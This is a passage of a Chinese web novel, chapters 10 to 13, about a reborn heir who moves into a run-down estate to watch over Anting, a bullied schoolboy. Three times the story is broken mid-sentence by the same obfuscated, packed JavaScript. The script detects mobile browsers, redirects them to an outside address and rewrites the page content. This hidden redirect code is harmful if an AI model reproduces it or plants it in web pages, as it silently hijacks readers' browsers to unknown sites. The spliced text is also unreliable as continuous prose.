羊毛卷还很大声地揶揄:“我操,安庭,你身上好臭啊!是不是要死了啊你?简直是巨人观!” 陆灼颂站在垃圾堆小巷里,眉头轻拧。 说话真难听。 再说巨人观也不是这个意思。 思索片刻,陆灼颂抬脚跟了出去。 巷子外有一圈学生,看样子,刚才所有人是都在这儿悄悄围观。 陆灼颂一出去,就有人后怕地拉着朋友撤了几步,也有人好奇地投来目光。更有人直接搭话,比了大拇指给他:“兄弟,勇啊!” “谢谢。” 陆灼颂头也不回地答了一句,转头看了一圈四周,在人群外找到了安庭,他正和羊毛卷往外走。 “不是,你是真的勇,得亏你没在我们三中上学。你知道你刚刚打的是谁吗?”那人说,“你打了那个胖子倒没啥事,可你认识刚刚那人吗?头发有点卷的那个。” 这人开了个头,别人也附和起来:“是啊哥们,那可是郑玉浩!三中大少爷!你要是在这学校,可就真完蛋了,郑……” 陆灼颂满心满眼就只有那个日后的影帝,半个字儿都没听进去,追着安庭小跑了出去。 出了人群,他拉起帽子,偷偷在后面跟踪起来。 羊毛卷往外走了几步,身边又多出来俩人。 那两个人显然是羊毛卷的跟班,卷毛一过去,他俩就勤快地围了过去,和卷毛嘻嘻哈哈的,笑容都十分狗腿。 四个人就那么一起谈笑风生地回家去了。 陆灼颂悄悄跟在后面,保持着距离,就这么跟了一路。 那四个人走出去一段距离,羊毛卷就松开了安庭。他把他往外一推,还掐着鼻子朝他嫌弃地摆摆手。看得出是让他离远点,嫌他臭。 羊毛卷跑去跟前面的俩人一块走,三个人有说有笑的,自顾自地聊起了游戏和最近的篮球赛,把安庭冷落在了后头。 他们仨手里都各自有一把伞,可却没一个给安庭递伞的。 安庭孤零零地走在后面,手插着上衣口袋,挨着雨淋,领子上还是一片奶茶的脏污。他还是一句话都没说,看着是已经习惯了被这样孤立。 陆灼颂咬咬牙,暗自骂人:“傻.逼卷毛。” 10. 老破小 在沿着路走了七八分钟之后,沙比卷毛的那两个狗腿,就分别在两个十字路口前和卷毛挥挥手,拐过弯离开了。 又走五分钟,卷毛也在一个十字路口前停了下来。 他转身,和安庭笑着说起了什么。 安庭的前发湿淋淋地挡着眼,陆灼颂看不清他什么表情。 说着说着,卷毛伸出手,摸住他受伤的半边脸,轻轻揉了两下,眉毛还往下一撇,一脸的哀伤,好像是挺心疼他。 陆灼颂看得眼皮一跳,脑门上爆了个青筋。 你大爷! 全世界谁不知道安庭是他的! 就算是录综艺,但凡有人要跟安庭肢体接触,都得对着镜头先说一句“不好意思陆老师”!! 卷毛拍了拍安庭的伤脸,扬起一个十分明媚的笑来,然后朝他挥挥手,也拐过弯去,朝着路左边,蹦蹦跳跳地跑了。 安庭一眼都没撇卷毛,转头就继续径直往前走。 陆灼颂气得牙根都疼,还得悄悄摸摸地继续跟上。 雨一直没停,安庭自己淋着雨走了十多分钟,进了一个老破小的小区里。 陆灼颂目送他进了二号楼的六单元。 老破小的隔音相当不好。陆灼颂站在楼下,没一会儿,就听见二楼左边屋子里传出门被打开的吱呀声音。 片刻,安庭就走到厨房的透明玻璃边上,接了杯水。 陆灼颂站在楼下看着他,直到安庭喝了半杯水后转身离开,玻璃里再也看不见人。 陆灼颂又在楼下驻足了会儿,才转身离开。他边往外走,边抬手打了个电话。 陈诀很快接了:“二少,见完人了?” “嗯。”陆灼颂说,“你给谷叔打个电话,让他叫人来帮我租房子。” 陈诀想也知道会这样,堂堂陆氏财阀的二少爷,怎么会屈尊住那普通高中动不动就六人八人甚至十人的宿舍。 但他疑惑了下:“租房?不直接买吗?” 陆氏这种大财阀,不管是陆灼颂还是他姐姐陆声月,需要去哪儿生活的时候,都是直接买一套好的住,再从陆氏那儿找几个佣人过来照顾。 “不买,我们租。”陆灼颂说。 “行,我这就联系谷叔。我刚刚看了一下,三中附近虽然没有别墅区,新城的富人区也远,但是……” “不用找了,我挑好了。” “挑好啦?哪个小区?” 陆灼颂已经走回到小区大门口。 隔着老远,他望着小区门上金漆都快掉完的老锈招牌说:“新润一号。” 满空乱连的电线上,一群乌鸦啊啊的叫,扑棱着翅膀飞了起来。 半个小时后,陈诀来了。 一位西装革履的房产中介也来了。他来自陆氏财阀持股80%的全国连锁房产公司:新润集团。 陆灼颂站在他俩跟前。 陈诀给他撑起了一把伞。秋雨正习习,仨人齐刷刷站在新润一号这老掉牙的小区门口,对着外墙瓷砖都掉了八九块的门卫室,对着拱门掉了一大片漆的大门,对着一旁门柱子上那经年累月、风吹雨打才能留下的乌黑痕迹,陷入了长久的沉默。 房产中介大叔——房叔汗如飞流直下三千尺,疑是老命落九天。 他从口袋里掏出一方帕子,把满脑门的庐山瀑布擦了擦,干笑着说:“陆少,我斗胆问一句,您是不是搞错了?我们集团最近刚交房的高档小区,还有个新兰一号……” “没搞错,就这儿。”陆灼颂睨他一眼,“还有,你们起的什么破名。新兰什么一号,新兰该99。” “……您说得对。”房叔说。 陆灼颂抬脚往小区里面走,房叔赶紧跟了上去。 房叔要哭了,也真是怀疑人生。谁想得到他们这小破城市的房产,有朝一日居然也能等到这么一尊大佛! 全国财产值断层第一的陆氏啊! 那个大公司也好这个大公司也好,所有商业巨头,不管出身高低,不管卖的什么东西,都要低下脑袋先看一看人家陆氏脸色的——陆氏财阀! 怎么金枝玉贵的陆二少会来新城,还要租房!? 他又怎么会租老破小!这种阶级的大少爷,不应该随手买个富人区的大平层,再雇几个佣人伺候他吗! 这有钱人到底是想来做什么?他想干什么?他要什么? 要是猜不出陆少的心思,明儿他是不是得原地辞职,喝西北风去了? 房叔胆战心惊地跟着往里走,欲哭无泪地又开始猜测这是不是大股东财阀那儿来的监督人士,是来考察他们集团的房产水平的。 那也不至于让陆少本人亲自来吧! 就算是少爷来体验基层工作,陆氏也得派个专业的跟着啊!他们又不缺专业验房的! “你叫什么?” 陆灼颂突然冷不丁开口,正头脑风暴思考中的房叔吓了一跳。 “您叫我小王就行。”房叔擦着汗说,老腰都尊敬地一弯。 “哦。”陆灼颂抬手一指旁边,“那户二楼的人家,你知道什么吗?” “诶?” 房叔顺着他手指的方向一望,就看见了安庭家。 他家窗台栏上摆着几盆花,还有一兜子菠菜。 “六单元的202吗?”房叔说,“这倒不怎么清楚,我们集团只是经手房产,并不管理,物业是外包给专业公司去做的。” 他拿起手里的一本文件夹,飞速地翻阅了一遍,“那户人家已经住这儿七八年了,没有卖过房子,也没有出租。陆少,是看上那间房子了?” “不是,你不知道就算了。” 陆灼颂没多问,他往后退了几步,环绕了一圈四周。 看见院子中央的一个小卖部,陆灼颂一顿,眼睛眯了眯。他又移开目光,最后把目光定在了二号楼正对面的四号楼。 陆灼颂往那边一指:“那边那栋,三层往上,有没有?” * 新润一号,四号楼,六单元,301。 靠北,背阴,七十五平,有暖气,但没电视,没冰箱,没WiFi,没燃气。 “我操,四无房子。” 陈诀如此评价。 但显然他家二少极其满意。 房叔擦着汗说这屋子要啥啥没有的时候,陆灼颂半个字儿没听,直接往北边一走,窗户一开,往围了个铁栅栏的窗外探头一瞧,也不知道是看见了什么,回头就说要这间了。 房叔被他吓傻了,连着确认了十遍有余,都还是不相信陆灼颂居然真的要住个老破小,还是个四无老破小。 最后陆灼颂不得不亲手给他写了个确认书,房叔才心惊胆战地收了他的钱和合同,离开了。 “二少还没成年,租房子要担保人签字的。给二少担保的多半是陆总吧?或者付总?” 陈诀两手负在身后,一边在这间发了一半霉的房子里东张西望地溜达,一边很松弛地念叨,“知道你要租这个老破小,那两位估计也不会同意吧。” 陆灼颂也有点愁这事儿。 他趴在北边的窗台边上,开着窗户,往外头望。 这间屋子和安庭家几乎是正对面,只是比他家高了一层。高一层就正正好好,能俯视他家。 比如现在,陆灼颂能看见他家厨房摆了三口锅,而厨房旁边的卧室里,挨着窗户的阳台边上,有张躺椅。 虽然这有点猥琐,但安庭家里本来就不是个好地方,陆灼颂想多看他一会儿。 他必须要这间房,他不放心安庭。 可他家那个俯视众生的财阀阶级,就算是一向开明的陆简,估计也不会同意陆灼颂上学住在这破地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871262|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正愁眉苦脸地思考时,一个毛茸茸的脑袋突然凑到陆灼颂身旁。 陆灼颂转头一看,是陈诀。 陈诀凑在窗台边上,把楼下四周看了一圈,没看出陆灼颂在看什么。 陈诀问他:“二少,看什么呢?” “没什么。”陆灼颂又瞥了眼安庭家里。 “你有点怪啊,二少,今天一起床就奇奇怪怪的。”陈诀说,“二少下午见谁去了?” “都说了你不认识。” “不认识也可以听听嘛。”陈诀也往窗台上一趴,“二少是为了那人才来的吧,为了那人还要在这儿上学?” “……嗯。” 陈诀有点忧心忡忡:“你别被人骗了,人可不能为了谁就把前途都赌上。” “不用你说,我都知道。” “二少知道最好。” 陈诀往窗外看,窗外吹进来的丝丝秋风把他前发吹得摇摇。 陆灼颂转头看了陈诀一眼。外头阴雨连绵,陈诀面作思索,目光苦恼,手搁在嘴上,指尖轻敲了两下人中,还是一脸纳闷。 “想什么呢?”陆灼颂问他。 陈诀说:“还是在想二少怎么了。” 陆灼颂笑了声:“不想跟二少住老破小?” “那倒不是,二少去哪我去哪儿。”陈诀说,“我就是不明白,二少怎么突然伦敦也不去了,好地方也不住了,连许哥也不带了。许哥最近也没得罪你啊,昨天还好好的。” 陆灼颂从兜里拿出瓶可乐,是他刚在等陈诀和房叔来的时候,在小区门口的超市里买的。 他拧开瓶子,喝了几口可乐。 汽水的汽儿辛辣地过了嗓子,陆灼颂轻轻打了个嗝。 小区院子里有棵很大的树,郁郁葱葱的。 雨风一过,一阵哗哗响。 “我做了个梦,”陆灼颂望着那棵树,“还挺长的。” “梦见什么?” 阳台已经擦过了,很干净。陈诀从包里拿出几袋零嘴,撕开袋子,放到了陆灼颂手边上。 陆灼颂没动,望着窗外说:“梦见我带着你俩去了伦敦,上了三年高中,然后大学考上了伦敦的皇家音乐学院。” “毕业之后,我就带你俩回国来了。我们组了个乐队,跟之前在纽约说好的一样,你给我做吉他手,赵端许给我做键盘手。后来还有个姑娘上门自荐,说要给我打鼓。” “小姑娘鼓打的是真的不错,我就给收了,就这么组了个四人乐队。” 陈诀乐:“这不挺好的嘛。” “是挺好,我妈还给我创了个娱乐公司,专门用来供我们四个出道。”陆灼颂从手边拿出根百奇来,咔吧咔吧咬了几口,“找了经纪人,招了好多工作人员,公司一天比一天大,没几天,我们乐队就混成了国内的顶流,还拿了奖。” “后来,我带着你们去了个宴会,遇见了个人。” “长的很漂亮一个男的,是个演员,还是影帝级别的。我一下子就喜欢上了,加了人家微信。”陆灼颂咽下嘴里的百奇,“结果之后足足一年多,人家都对我爱答不理。” 陈诀正吃薯片,一听这话,差点一口薯片呛在喉咙里。 “我操,谁那么胆大包天,”他咳嗽着说,“他居然还敢看不上二少?!” 陆灼颂哈哈了声:“你二少又不是真的金子打的,有人看不上也正常。” 他还真就笑起来了,毫不在乎似的,“也不是没看上我吧,他有天跟我说,‘抱歉,陆少,我真的谈不了’。” “话都说到这份儿上了,我也没招了。他精神好像也不太好,虽然大家都没发现,他自己也以为装得很完美。” “我就没再跟他说话了,也没逼他。” “然后,”陆灼颂说,“有一天,财阀突然破产了。” 11. 仇富 话锋突然这么猝不及防地一转,陈诀愣住了。 “破产了?”他问,“怎么就破产了?” “谁知道,好几个项目突然全都塌了。” 陆灼颂直起身,平静地往身上的口袋里摸了几下。都摸了个空后,他僵了一瞬,才想起来什么,默默地收手,又拿起根红酒味百奇来,送进嘴里。 “有人搞的商业陷阱,把陆家套进去了。”陆灼颂继续说了起来。他叼着根百奇,像叼着烟,“陆氏塌没了,背上了天价的债。庄园卖了,飞机卖了,轮船卖了,什么都卖了,还是还不起。” “不知道怎么,还变成了经济性犯罪,好多人都被抓起来审。” “连乐队的所有人,都被抓去审了。” 陆灼颂声音平静,陈诀却听出一股绝望味道。 心情突然变得沉重,陈诀再看外面的秋雨,心中忽然生出一股悲怆。 他忧伤地拿起一片薯片,刚送进嘴里咔咔嚼了两下—— “然后你就被车撞死了。”陆灼颂说,“刚放出来那天。” 陈诀噗地一口薯片喷了。 他被狠狠呛到了,整张脸都呛得通红。陆灼颂下意识把手里的可乐递给他,递到一半,又觉得不妥,于是转身去给陈诀接了杯水。 陈诀快咳死了,他拿过水,咕咚咕咚地灌了一半,用力地清了好几下嗓子,终于有所好转。 “怎么突然就死了!?”他声音嘶哑,像个抽了八十年大烟的老头,声嘶力竭地对他叫屈,“我怎么突然就被车撞死了,你这梦太不讲理了!” “都做梦了,肯定不讲理了,我还梦见是端许把你撞死的呢,”陆灼颂拍拍他的肩膀,“以后过马路小心点啊,尤其小心你许哥的车。” “都什么跟什么啊!” 陆灼颂再忍不住了,噗嗤一声就笑了出来。他笑得上气不接下气,眼角都冒了几颗眼泪。 他抹掉泪,转头又笑着去看窗外。天黑了,外面路灯亮了起来,安庭家里也亮了灯。 陆灼颂看见一个瘦得脱相的高挑身影,穿着件旧得发黄的白t,头上盖着条毛巾,湿着头发,晃晃悠悠地走到了窗边来。 是安庭。 陆灼颂抽抽嘴角,突然笑不出来了。眼泪掉下来两滴,他伸手,悄悄把脸上的泪痕抹掉。 * 19:09. 新城市中心,千达广场。 就算是个三线小城市,新城也是有繁华地带的。七点出头的时间,千达广场还人来人往。 商场内,一家全国连锁的拉面店里,陆灼颂正在和陈诀面对面吸面。 新租的老破小里什么都没有,燃气都没通,陆灼颂只能先跟陈诀出来吃晚饭,暂且去他先前找的酒店里住一晚上。 这个破时代,网购都还不怎么先进。 陆灼颂皱着眉划拉手机,正在看线上网店的家电产品。 正翻着,屏幕界面突然一变,一个电话打了进来。 备注俩字:老妈。 陆灼颂把接听键往上一划,接听了:“喂?” “你的房租合同发到我这里来了。”陆简开门见山,“你确定要住新润一号?” “确定。”陆灼颂夹起一筷子面,吹了两口气,“如果不让我住那儿,我就哪儿都不去,在那个小区里睡长凳。” 陈诀噗地呛了一下,难以置信地看他。 陆灼颂撇他一眼,朝他无声地一挑眉,让他放心。 “我并没有说不让你住这里。”陆简说。 陆灼颂刚要把一筷子面送进嘴里。陆简这话一出,他当场愣了,拿着筷子的手僵在原地。 这都同意!? 这居然都可以同意!! “你去上普通高中,那就应该过一过普通人的生活。”陆简依然慢条斯理,“现在你选了这条路,就是去靠近基层,我本来也没打算让你住之前的别墅。” 陆灼颂无话可说,原来他妈早就在暗中打算好了。 他撇撇嘴,把面条放回汤里,用筷子搅了一会儿。 “你入学之后,也不要把家里的事儿到处说。”陆简再次道,“靠近基层,那就成为基层。不许到处标榜自己不一样,更不许到处炫富。” 陆灼颂手上动作一停。 他张嘴刚要说话,却只发出一声短促的气音。像是想起什么,他突然顿在那里,好半晌都没有动静。 旁边走过去了三两个路人,说说笑笑的。 陆灼颂沉默的时间一长,陈诀就察觉到有所不对。他叼着一嘴面,一抬头,就看见他家二少已经愣在了那儿。 “灼颂?”他妈也在电话那头疑惑地叫了一声,“怎么了?” 陆灼颂回过神来。 “没事,”他说,“我知道了,我也这么打算的。” 电话挂断了,陆灼颂放下手机,心不在焉地把碗里的面条又划拉了几下。 “二少,二少。” 陈诀叫他。 陆灼颂抬起头,看见陈诀眨巴着一双圆眼,投来纯朴的关怀目光。 “你怎么了,二少?”陈诀问他,“陆总不同意吗?” “没有。” 嘴上这么说,陆灼颂却叹了一声。他拿起筷子,没夹面条,就只把筷子前头送进嘴里,用牙齿干咬了几下。 陆灼颂忽然想起那天。 几年前,财阀破产,众人如树倒猢狲散,又有不少人命丧漩涡里。很长一段时间,陆灼颂都在混乱中度过。 安庭帮了他一把。 这人真是怪。 财阀风光的时候,他不要陆灼颂。 财阀破产了,陆灼颂被万人欺凌的时候,他倒是来了。安庭往他旁边一站,伸手帮他挡下了所有事,还砸锅卖铁地拿钱出来,帮他还债,跟整个圈子对着干。 那天是怎么回事儿来着?陆灼颂记不得了,那段时间太混乱,精神也不太好。他只记得财阀破产的风波过去了,那天好像是他重新出道的第一次录影,录的是个综艺。 回过神的时候,录影已经结束了。他坐在后台休息室的角落里,身上披着个大毯子,把自己裹得密不透风,一声不吭地缩成一团,抱着膝盖低着脑袋。 “你别消沉了嘛。” 他听见姜骁的声音,很无奈又头痛的声音,“都这样的,陆少,要重新开始的话,谁不这样啊。” “别叫我陆少。”陆灼颂声音沙哑。 “……可你就是陆少啊。哎呀,别消沉了,虽然大伙确实还是不喜欢你,但是这不是争取到上镜机会了吗!再说了,之前你被黑成那样,让人重新接受你,肯定还需要一段时间的!” “而且,也不是我说你,你之前的确太跋扈了……现在大家都仇富,谁有钱就讨厌谁,更别说你还是个前财阀少爷。” “但是事情要看开点!”姜骁突然拔高声音,满腔激情地燃起来了,“你看人家安老师,不也是力排众议地一直在帮你吗!至少他不仇富!人间自有真情在啊!” 陆灼颂指尖一动。 刚把头抬起来一些,他就听见安庭那道沉静的声音:“谁说的。” 姜骁:“……” 陆灼颂:“……” “我也很恨有钱人。”安庭淡声,“自以为是,还傲慢得要死,有钱就算了,还天天炫来炫去,拽的生怕谁不知道他投胎投的好。” “从来都目中无人,不把人当人看,每天对着别人吆五喝六,也不考虑别人感受,甚至都用不着考虑。” 他好像在接水,陆灼颂听见水落在杯子里的声音。安庭的声音还是平淡,一如既往的平淡,像温水似的,语气更是随意得不像话。 “捏着点权利,就把别人榨的一滴血都不剩。” 他说,“全是自私自利的混蛋。” 陆灼颂气笑了:“那你还帮我?” 安庭没说话。 他好久都没说话。 空气都结冰了,陆灼颂都恨恨地把唇都咬出血了,安庭才终于开口:“你不一样。” 你不一样。 陆灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871263|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颂心里一动,悄悄地把毯子拉下来一截,露出一双眼睛,往安庭那边望过去。 安庭正好也回眸望来,陆灼颂看见他依然平静的双眸。 四目相对了,安庭坦然地望着他,不知怎么,又沉沉说了一遍:“你不一样。” 哗啦一声,出餐口的铃叮铃铃地响了。 “牛肉面好了!” 后厨在里面喊了一声,一个服务员立马跑过去,端起餐盘,出餐去了。 陆灼颂松开筷子,一低眸,看见自己已经在筷子上咬出了一圈清晰的牙印。 陆灼颂捏着筷子转了一圈,思忖过后,对陈诀说:“等进了三中,你就别再叫我二少了。” 陈诀叼着一嘴的面,不解:“为啥?” “我妈让的,说在基层别炫富。”陆灼颂说。 “那我叫你什么?二少本来就是二少。”陈诀一脸为难,“我也不能叫你名字啊,多不像话。” 豪门规矩很多。 陆灼颂挠挠头发,想想也是,考虑了会儿说:“叫老大吧。” 陈诀想了想:“也行。” 这事儿就这么定了,陆灼颂又拿起筷子吃饭。 一个服务员端着一大瓶绿油油的汽水饮料路过了他们,陈诀目不转睛地盯着她好一会儿,转头拿起菜单来。 看了片刻,他眼睛又一亮,转手把菜单两手拿好,呈到陆灼颂跟前:“老大,这家有个奇异果气泡饮,我想喝。” 陆灼颂嗦着面看了一眼:“要吧,要两杯。” * 第二天一大清早,陈诀退了酒店的房。 陆灼颂带他从五星级酒店出来,打着哈欠,直接打车去了附近的电器店,亲力亲为地把冰箱、电视,和其他一些乱七八糟的电器都买了。 他还顺路又去了附近的家具店,买了些那个老破小里没有的,或者已经太旧的东西。 比如小茶几和沙发,餐桌和书桌。 那老破小里的沙发真绝了,活脱脱一个老破。里头棉花和弹簧都蹦出来了,陆灼颂一进门,就看见那沙发冲着自己,坦诚相待地暴露了自己所有内胆。 买了个真皮沙发,陆灼颂舒服多了。 全买好了,也安排了送货上门,陆灼颂带着陈诀回了小区。 坐在小区楼下,指挥完工人们把东西搬上去,陆灼颂又打了几个哈欠,他昨晚没睡好。 擦掉哈欠出来的眼泪,他一转头,就看见陈诀表情复杂地看着他。 “干嘛?”陆灼颂问。 “没,”陈诀一脸复杂,“二少,你没事吧?” “?” 陆灼颂一脸疑惑。 “你怎么会砍价的,”陈诀声音都有点颤了,活见鬼了似的打抖,“二少,你这辈子都没砍过价啊!” 陆灼颂默了。 他也明白过来,陈诀是在震撼于两个小时前,陆灼颂在买沙发的时候,跟老板掰扯了半小时的那三百块零头。 三百块钱,对一个学生来说,确实不菲。 但对于一个财阀少爷来说,无异于把一分钱钢镚掰成一百份还只取其中一瓢。 陆灼颂流了颗豆大的冷汗下来,哈哈笑了声:“闲着没事练练砍价。” “练这玩意儿干什么!” 陆灼颂无话可说。 他总不能说“因为之前破产了!连死的时候都还欠着他庭哥八十多万!之后一直在还债!还吃了两年拼好饭!早就习惯砍价了!甚至对怎么叠加外卖红包这事儿都非常熟练已经白嫖了不下一百顿一毛钱炒饭”吧! “行了行了,少管我,”陆灼颂摆摆手,干脆不解释了,“你赶紧上去,看看他们搬没搬好。” “好吧。” 陈诀听话地转头上去看了。 陆灼颂松了口气,一转头,愣住了。 正是中午,今天是个晴天。朗朗的太阳底下,十七岁的安庭正站在对面楼的单元门口。 他遥遥地望着陆灼颂,被太阳刺得眯了眯眼,眉头轻拧起来,一脸疑惑。 12. 小卖部 安庭站在单元门口,还是那副消瘦样。脸上依然贴着块贴布,眼底下还是那样的憔悴青黑,身上是一套很旧的宽松灰色运动衣,手里拎着两个垃圾袋子。 安庭眯着眼,把陆灼颂上上下下看了一番,没说什么,转身就走了。 陆灼颂坐在马路牙子上,眼睛开了自动跟随似的盯着他。他盯着安庭慢腾腾地走到垃圾桶边上,慢腾腾地扔了垃圾,然后慢腾腾地挪着步子,去了小区院里中央的那个小卖部。 小卖部坐落在这左半边的院里,外表和整个小区的建筑风格一样。大约是小区建起时,就一起给它建了。 陆灼颂不悦地一眯眼。 他把手一撑,从地上爬了起来,也往那小卖部跑了过去。 安庭比他早一步先进来。陆灼颂掀开帘子一推门,就看见他已经站在一排简易的蓝色货柜前,刚把一瓶酱油拿到手上。 小卖部和小区一样又老又破又小,门一推就吱吱呀呀地响。 听到开门的动静,安庭就回了头。 看见是陆灼颂,他目光一顿,讶异了瞬,又把脑袋转了回去,不动声色地从货柜上拿了袋盐。 “这么巧。”陆灼颂走进来,张嘴就跟他说,“你也住这儿?” “……嗯。” 安庭应了声,没多说话,只慢吞吞地挑调味料。 “我正好也搬到这儿了,就在你对面楼。你刚刚看到了吧?” “嗯。” 安庭没什么反应,头也不抬,就只是闷头挑自己手上的东西。他额前碎发有些长,把一张脸遮得若隐若现,陆灼颂只看得见他嘴角破了块皮。 受伤了。 大约是昨天被打出来的。陆灼颂眼中眸色一沉,又转头一撇,就见小卖部里头坐着个老太太——果真坐着个老太太,老太太也果真正抱着个大白胖猫撸来撸去。 和安庭给他的遗言里一样,老太太长了张观音面相。那张脸轮廓圆润,眉毛弯的像月亮,一双眼的眼尾自然下垂,右眼下头还有颗泪痣。 长得那叫一个慈悲为怀。 往那儿一坐,跟等着受拜似的,就差个莲花座了。 陆灼颂往“观音”老太太那边走过去。 他伸手,在她跟前的玻璃柜子上敲了几下:“两瓶可乐,十瓶水。” 饮料柜在老太太身后。 老太太弯起眼睛一笑,点点头说好好好,把白猫往玻璃柜上一放,转身去给陆灼颂拿袋子,找水。 一笑起来,更像观音菩萨现世了。 老太太也果然话多,一背过身去,就开始跟他聊天:“怎么买这么多水呀?” “有人来帮忙搬家,买点水当辛苦费。”陆灼颂说。 “我瞧见了,好多人来呢,你住的是四号楼吗?” “嗯。” “哎哟,一来就买这么多家电,屋子里很空吧。”老太太把水给他装好,“怎么没见你父母?” “上班去了,公司里忙。” “那也够狠心的,就让你一个小孩忙来忙去。” 陆灼颂低头扫了一圈她柜子里摆着的烟,张嘴刚要继续说什么,旁边传来一阵脚步声。 一只瘦得骨节分明的手伸了过来。那手指十分修长,甚至比普通人都要更长一些。 瞥到的一瞬间,陆灼颂不吭声了,这一看就是安庭的手。 他抬头一看,果真是安庭走到了旁边来。 安庭把手上的酱油醋盐放到柜子上,哑声说:“多少钱。” “等一下,等一下。” 老太太回过身来,一边把水交给陆灼颂,一边慈眉善目地和安庭笑笑:“小庭,你哥还没出院?” 陆灼颂刚伸手去摸钱包,一听这话,他手一停。 “还没。”安庭说。 “家里就你一个?那你记得关好门窗,最近晚上冷。”老太太点了一遍他的调味料,“一共十三块。” 安庭从兜里摸出一打皱巴巴的零钱,在老太太又继续起来的唠叨声里,一张一张慢慢数出来,凑好。 陆灼颂手摁着钱包,没动,悄悄看他。 “你妈也真是心狠,你明明也做了骨髓手术,居然就放心你一个人在家。”老太太唉声叹息,“不过你也别太怪她。手心手背都是肉,你跟你哥两个,都是她的亲儿子,当妈的哪儿有不心疼的?可你哥毕竟病的重多了,她得多照顾点。而且你命好,不像你哥,一生下来就白血病……” “你回家那天,你妈不是也给你做了粥吗?心里还是有你的。还有你进手术那天,我听说你妈也围着你哭了,肯定还是心疼你的,是不是?” 安庭没回答。 老太太越说,他眉头皱得越厉害。不知道怎么了,他指尖都开始发抖、发青,好像血液流不过去了。 他把点出来的十三块零钱给了老太太,拿着那些调味料,转身就走。 陆灼颂匆匆也付了钱,追了出去。 “庭哥!不是!” 陆灼颂很大声地喊错了,又很大声地纠正自己,“安庭!” 安庭走出去还没多远。 他脚步一停,回过头,眉头还是微蹙着。 陆灼颂看着他眉间那道深沟,忽然意识到,他好像一直都皱着眉。在小巷里皱着眉,回家时也皱着眉,出门时皱着眉,在小卖部里也皱眉。 明明做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871264|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演员的时候一直笑。 他还接了综艺,他甚至是个国民级搞笑综艺的常驻mc。 “干什么?”安庭问他,“愣着干什么?” 陆灼颂回过神来。 “还疼吗?”陆灼颂问他。 “什么?” “我说,还疼不疼?” “不疼。”安庭转过身,语气烦躁,“打了一巴掌而已,能疼两天吗。” “不是,我不是说昨天……也是想问你昨天的事儿来着,”陆灼颂语无伦次,“我是问你,你做的那个手术……还疼吗?” 安庭脸上的烦躁一滞。 他好像连呼吸都滞了,陆灼颂看见他的胸口突然没了起伏。片刻后,连那对紧绷的肩膀都往下垮塌些许。 再看向陆灼颂时,他的目光变得说不出的复杂。 “早没事了。” 安庭哑声说完,又往家里走。离开时,他抬手捂住侧腰。 “安庭,”陆灼颂又叫他,还往他那边追了两步,“你是三中哪个班的?” 安庭又停下了:“问这个干什么?” “你别管,你告诉我。” “我凭什么要告诉你。” “行吧,不说就不说。”陆灼颂又往安庭身边跑,这回跑到了他前面去。他转过身,和安庭面对面,“昨天那群人,总欺负你吗?欺负你多久了?昨天跟你一块回家的卷毛是谁?” 他一鼓作气连环炮似的问了一堆。 安庭眉头皱得更深了,眉角都直跳:“跟你有什么关系?” 陆灼颂好像听不见,又追问:“你被欺负多久了?他们总打你?” “……你管我这些干什么,有病吗。” 安庭的语气冷得像冰,眉头也又皱起来,厌烦之意溢于言表。他推开陆灼颂,直直又往家里走。 可陆灼颂就像听不出好赖话似的,还追上来问:“昨天那个卷毛是欺负你的,是不是?” 安庭脚步一顿。 他刚走进单元楼,踏上了一层台阶。 晴阳当空,空气忽然停顿,只听见外头的风声响了一阵。 安庭站在单元口里面,陆灼颂站在单元口外面。一道清晰的明暗分割线,把他们黑白分明地分开。 陆灼颂的目光如芒刺背,安庭后背都有些发疼。 须臾,他再次抬起脚步,没有回答,头也不回地上楼去了。 走到往二楼去的台阶跟前,他正好转过了半个身。安庭抬起眼皮,悄悄瞥了门口一眼。 陆灼颂还站在那里,海一样蓝的眼睛,直直地望着他。 安庭收起目光,仍然没说话,沉默地回家了。 13.出院 遇到了个怪人。 真是遇到了个怪人。 安庭走上二楼,把钥匙插进锁孔里,烦躁地迅速转了两圈。 咔哒一声,家门打开了。安庭拔出钥匙,拉开了门,旋即止住脚步。他忽然恍惚地盯着门缝,一动不动地出了神。 刚刚那少年的模样,渐渐充血似的涌上心头。 少年站在单元门前,太阳底下,一头张扬刺眼的红发,底下是张锐利英气的面庞。他真是有张凌厉的漂亮脸,剑眉眉骨清晰,一双湛蓝的眼睛亮得惊人。 少年望着他,隔着一些距离,隔着半层台阶,像看一个阴差阳错地死了的故人。 ……怪人。 真是个怪人。 安庭突然心神不宁,拉着门的手缩紧起来。少年的眉眼和红发始终在他眼前,无法挥散。 手机忽然在兜里嗡嗡两声。 